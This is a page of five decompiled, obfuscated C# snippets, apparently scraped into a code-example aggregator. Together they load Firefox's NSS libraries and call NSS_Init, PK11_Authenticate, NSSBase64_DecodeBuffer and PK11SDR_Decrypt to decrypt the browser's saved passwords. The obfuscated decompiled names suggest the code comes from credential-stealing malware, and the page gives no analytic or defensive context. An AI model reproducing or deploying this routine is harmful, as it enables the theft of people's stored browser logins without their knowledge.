Exemplo n.º 1
0
    // Token: 0x06000035 RID: 53 RVA: 0x00003EFC File Offset: 0x000020FC
    public static int smethod_4(ref Class5.TSECItem tsecitem_0, ref Class5.TSECItem tsecitem_1, int int_0)
    {
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "PK11SDR_Decrypt");

        Class5.DLLFunctionDelegate5 dllfunctionDelegate = (Class5.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate5));
        return(dllfunctionDelegate(ref tsecitem_0, ref tsecitem_1, int_0));
    }
Exemplo n.º 2
0
    // Token: 0x06000034 RID: 52 RVA: 0x00003EBC File Offset: 0x000020BC
    public static int smethod_3(IntPtr intptr_1, IntPtr intptr_2, StringBuilder stringBuilder_0, int int_0)
    {
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "NSSBase64_DecodeBuffer");

        Class5.DLLFunctionDelegate4 dllfunctionDelegate = (Class5.DLLFunctionDelegate4)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate4));
        return(dllfunctionDelegate(intptr_1, intptr_2, stringBuilder_0, int_0));
    }
Exemplo n.º 3
0
    // Token: 0x06000032 RID: 50 RVA: 0x00003E44 File Offset: 0x00002044
    public static long smethod_1()
    {
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "PK11_GetInternalKeySlot");

        Class5.DLLFunctionDelegate2 dllfunctionDelegate = (Class5.DLLFunctionDelegate2)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate2));
        return(dllfunctionDelegate());
    }
Exemplo n.º 4
0
    // Token: 0x06000033 RID: 51 RVA: 0x00003E80 File Offset: 0x00002080
    public static long smethod_2(long long_0, bool bool_0, long long_1)
    {
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "PK11_Authenticate");

        Class5.DLLFunctionDelegate3 dllfunctionDelegate = (Class5.DLLFunctionDelegate3)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate3));
        return(dllfunctionDelegate(long_0, bool_0, long_1));
    }
Exemplo n.º 5
0
    // Token: 0x06000031 RID: 49 RVA: 0x00003D34 File Offset: 0x00001F34
    public static long smethod_0(string string_1)
    {
        string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";

        Class5.LoadLibrary(str + "mozutils.dll");
        Class5.LoadLibrary(str + "mozglue.dll");
        Class5.LoadLibrary(str + "mozcrt19.dll");
        Class5.LoadLibrary(str + "nspr4.dll");
        Class5.LoadLibrary(str + "plc4.dll");
        Class5.LoadLibrary(str + "plds4.dll");
        Class5.LoadLibrary(str + "ssutil3.dll");
        Class5.LoadLibrary(str + "mozsqlite3.dll");
        Class5.LoadLibrary(str + "nssutil3.dll");
        Class5.LoadLibrary(str + "softokn3.dll");
        Class5.intptr_0 = Class5.LoadLibrary(str + "nss3.dll");
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "NSS_Init");

        Class5.DLLFunctionDelegate dllfunctionDelegate = (Class5.DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate));
        return(dllfunctionDelegate(string_1));
    }